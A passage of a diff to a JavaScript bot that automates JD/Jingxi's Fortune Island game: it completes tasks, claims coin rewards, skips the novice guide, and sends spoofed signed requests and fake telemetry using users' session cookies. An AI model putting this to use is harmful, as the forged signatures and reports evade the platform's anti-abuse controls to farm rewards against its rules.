'今日助力次数达到上限,明天再来帮忙吧~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { - console.log(`助力失败:${data.sErrMsg}`) - $.delcode = true - } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { - console.log(`助力失败:您的账号已黑`) - $.canHelp = false - } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { - console.log(`助力失败:${data.sErrMsg}`) - $.delcode = true + } + + function setMark() { + return new Promise(resolve => { + $.get(taskUrl("user/SetMark", `strMark=daily_task_win&strValue=1&dwType=1`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} SetMark API请求失败,请检查网路重试`); } else { - console.log(`助力失败:${data.sErrMsg}`) + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); } + } catch (e) { + $.logErr(e, resp); + } finally{ + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } + }) }) - await $.wait(10000) - resolve(); - }) -} - -// 获取用户信息 -function getUserInfo(showInvite = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - $.showPp = data?.AreaAddr?.dwIsSHowPp ?? 0 - const { - buildInfo = {}, - ddwRichBalance, - ddwCoinBalance, - sErrMsg, - strMyShareId, - dwLandLvl, - LeadInfo = {}, - StoryInfo = {}, - Business = {}, - XbStatus = {} - } = data; - if (showInvite) { - console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); - console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) - } - if (showInvite && strMyShareId) { - console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); - $.shareCodes.push(strMyShareId) - await uploadShareCode(strMyShareId) + } + + // 获取用户信息 + function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.showPp = nc(oc(() => data.AreaAddr.dwIsSHowPp), 0) + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + StoryInfo = {}, + Business = {}, + XbStatus = {}, + MarkList = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + StoryInfo, + XbStatus, + MarkList + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + StoryInfo, + XbStatus, + MarkList + }); } - $.info = { - ...$.info, - buildInfo, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - dwLandLvl, - LeadInfo, - StoryInfo, - XbStatus - }; - resolve({ - buildInfo, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - LeadInfo, - StoryInfo, - XbStatus - }); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -function getPropTask() { - return new Promise((resolve) => { - $.get(taskUrl(`story/GetPropTask`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getPropTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - for (let key of Object.keys(data.Data.TaskList)) { - let vo = data.Data.TaskList[key] - if ((vo.dwCompleteNum < vo.dwTargetNum) && ![9, 11].includes(vo.dwPointType)) { - await doTask(vo.ddwTaskId, 3) - await $.wait(2000) - } else { - if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { - console.log(`【${vo.strTaskName}】已完成,去领取奖励`) - await $.wait(2000) - await awardTask(2, vo) + } + + function getPropTask() { + return new Promise((resolve) => { + $.get(taskUrl(`story/GetPropTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getPropTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum < vo.dwTargetNum) && ![9, 11].includes(vo.dwPointType)) { + await doTask(vo.ddwTaskId, 3) + await $.wait(3000) + } else { + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + console.log(`【${vo.strTaskName}】已完成,去领取奖励`) + await $.wait(3000) + await awardTask(2, vo) + } } } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} - -//任务 -function getTaskList(taskType) { - return new Promise(async (resolve) => { - switch (taskType){ - case 0: //日常任务 - $.get(taskListUrl("GetUserTaskStatusList", `taskId=0&showAreaTaskFlag=${$.showPp}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) - } else { - const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); - if($.allTask.length === 0) { - console.log(`【📆日常任务】已做完`) + } + + //任务 + function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList", `taskId=0&showAreaTaskFlag=${$.showPp}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) } else { - console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break; - case 1: //成就任务 - $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) - } else { - const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); - if($.allTask.length === 0) { - console.log(`【🎖成就任务】没有可领奖的任务\n`) + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) } else { - console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); + } + + //浏览任务 + 做任务 + 领取奖励 + function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes, bizCode = nc(oc(() => $.allTask[i].bizCode), "jxbfd") + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId, null, bizCode); + await $.wait(3000); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); + //领取奖励 + await awardTask(0, taskinfo, bizCode); } - }); - break; - default: - break; - } - }); -} - -//浏览任务 + 做任务 + 领取奖励 -function browserTask(taskType) { - return new Promise(async (resolve) => { - switch (taskType) { - case 0://日常任务 - for (let i = 0; i < $.allTask.length; i++) { - const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes, bizCode = $.allTask[i]?.bizCode ?? "jxbfd" - const taskinfo = $.allTask[i]; - console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); - for (let i = start; i < end; i++) { - //做任务 - console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) - await doTask(taskinfo.taskId, null, bizCode); - await $.wait(2000); + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(3000); + } } - //领取奖励 - await awardTask(0, taskinfo, bizCode); - } - break; - case 1://成就任务 - for (let i = 0; i < $.allTask.length; i++) { - const taskinfo = $.allTask[i]; - console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); - if(taskinfo.completedTimes < taskinfo.targetTimes){ - console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + break; + default: + break; + } + resolve(); + }); + } + + //做任务 + function doTask(taskId, type = 1, bizCodeXx) { + return new Promise(async (resolve) => { + let bizCode = `jxbfd`; + if (type === 2) bizCode = `jxbfddch`; + if (type === 3) bizCode = `jxbfdprop`; + if (bizCodeXx) bizCode = bizCodeXx + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) } else { - //领奖励 - await awardTask(1, taskinfo); - await $.wait(2000); + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() } - break; - default: - break; - } - resolve(); - }); -} - -//做任务 -function doTask(taskId, type = 1, bizCodeXx) { - return new Promise(async (resolve) => { - let bizCode = `jxbfd`; - if (type === 2) bizCode = `jxbfddch`; - if (type === 3) bizCode = `jxbfdprop`; - if (bizCodeXx) bizCode = bizCodeXx - $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, bizCode), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} DoTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } + }) }) - }) -} - -//领取奖励 -function awardTask(taskType, taskinfo, bizCode = "jxbfd") { - return new Promise((resolve) => { - const {taskId, taskName} = taskinfo; - const {ddwTaskId, strTaskName} = taskinfo; - switch (taskType) { - case 0://日常任务 - $.get(taskListUrl(`Award`, `taskId=${taskId}`, bizCode), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} Award API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - let str = ''; - if (msg.indexOf('活动太火爆了') !== -1) { - str = '任务为成就任务或者未到任务时间'; + } + + //领取奖励 + function awardTask(taskType, taskinfo, bizCode = "jxbfd") { + return new Promise((resolve) => { + const {taskId, taskName} = taskinfo; + const {ddwTaskId, strTaskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) } else { - str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); } - console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break - case 1://成就奖励 - $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - if(msg.indexOf('活动太火爆了') !== -1) { - console.log(`活动太火爆了`) + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) } else { - console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break - case 2: - $.get(taskListUrl(`Award`, `taskId=${ddwTaskId}`, `jxbfdprop`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} Award API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); - if(msg.indexOf('活动太火爆了') !== -1) { - console.log(`活动太火爆了`) + }); + break + case 2: + $.get(taskListUrl(`Award`, `taskId=${ddwTaskId}`, `jxbfdprop`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) } else { - console.log(`【领卡片奖励】${strTaskName} 获得 ${JSON.parse(prizeInfo).CardInfo.CardList[0].strCardName}\n${$.showLog ? data : ''}`); + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领卡片奖励】${strTaskName} 获得 ${JSON.parse(prizeInfo).CardInfo.CardList[0].strCardName}\n${$.showLog ? data : ''}`); + } } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); + }); + default: + break + } + }); + } + + // 新手任务 + async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) + } + async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) } - }); - default: - break - } - }); -} - -// 新手任务 -async function noviceTask(){ - let body = `` - await init(`user/guideuser`, body) - body = `strMark=guider_step&strValue=welcom&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=gift_redpack&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=none&dwType=2` - await init(`user/SetMark`, body) -} -async function init(function_path, body) { - return new Promise(async (resolve) => { - $.get(taskUrl(function_path, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} init API请求失败,请检查网路重试`) - } else { - if (function_path == "user/SetMark") opId = 23 - if (function_path == "user/guideuser") opId = 27 - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` - await biz(contents) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } + }) }) - }) -} -function biz(contents){ - return new Promise(async (resolve) => { - let option = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + } + function biz(contents){ + return new Promise(async (resolve) => { + let myRequest = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': `cid=4;${$.cookie}`, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } + } + $.get(myRequest, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }); + } + + function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Host": "m.jingxi.com", + "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", - Host: 'm.jingxi.com', "User-Agent": UA, - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + "cid=4", } } - $.get(option, async (err, resp, _data) => { - try { - // console.log(_data) + } + + function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie } - catch (e) { - $.logErr(e, resp); + } + } + function taskGet(type, stk, additional){ + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + if(data && data.iRet == 0){ + // console.log(_data) + }else{ + // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 + // console.log(_data) + } + contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` + await biz(contents) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } + function getGetRequest(type, stk='', additional='') { + let url = ``; + let dwEnv = 7; + let types = { + 'GetUserTaskStatusList':['GetUserTaskStatusList','jxbfd'], + 'Award':['Award','jxbfd'], + 'Award1':['Award','jxbfddch'], + 'Award2':['Award','jxbfdprop'], + 'DoTask':['DoTask','jxbfd'], + 'DoTask1':['DoTask','jxbfddch'], + 'DoTask2':['DoTask','jxbfdprop'], + } + if(type == 'user/ComposeGameState'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` + }else if(type == 'user/RealTmReport'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` + }else{ + let stks = '' + if(stk) stks = `&_stk=${stk}` + if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 + if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' + if(type == 'story/RewardSigns') type = 'story/RewardSign' + if(types[type]){ + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${types[type][0]}?strZone=jxbfd&bizCode=${types[type][1]}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` + }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; + }else{ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; } - finally { - resolve(); + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': 'cid=4;'+cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie + "cid=4" } } -} - -function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { - let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie + "cid=4" - } + + function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) } -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() 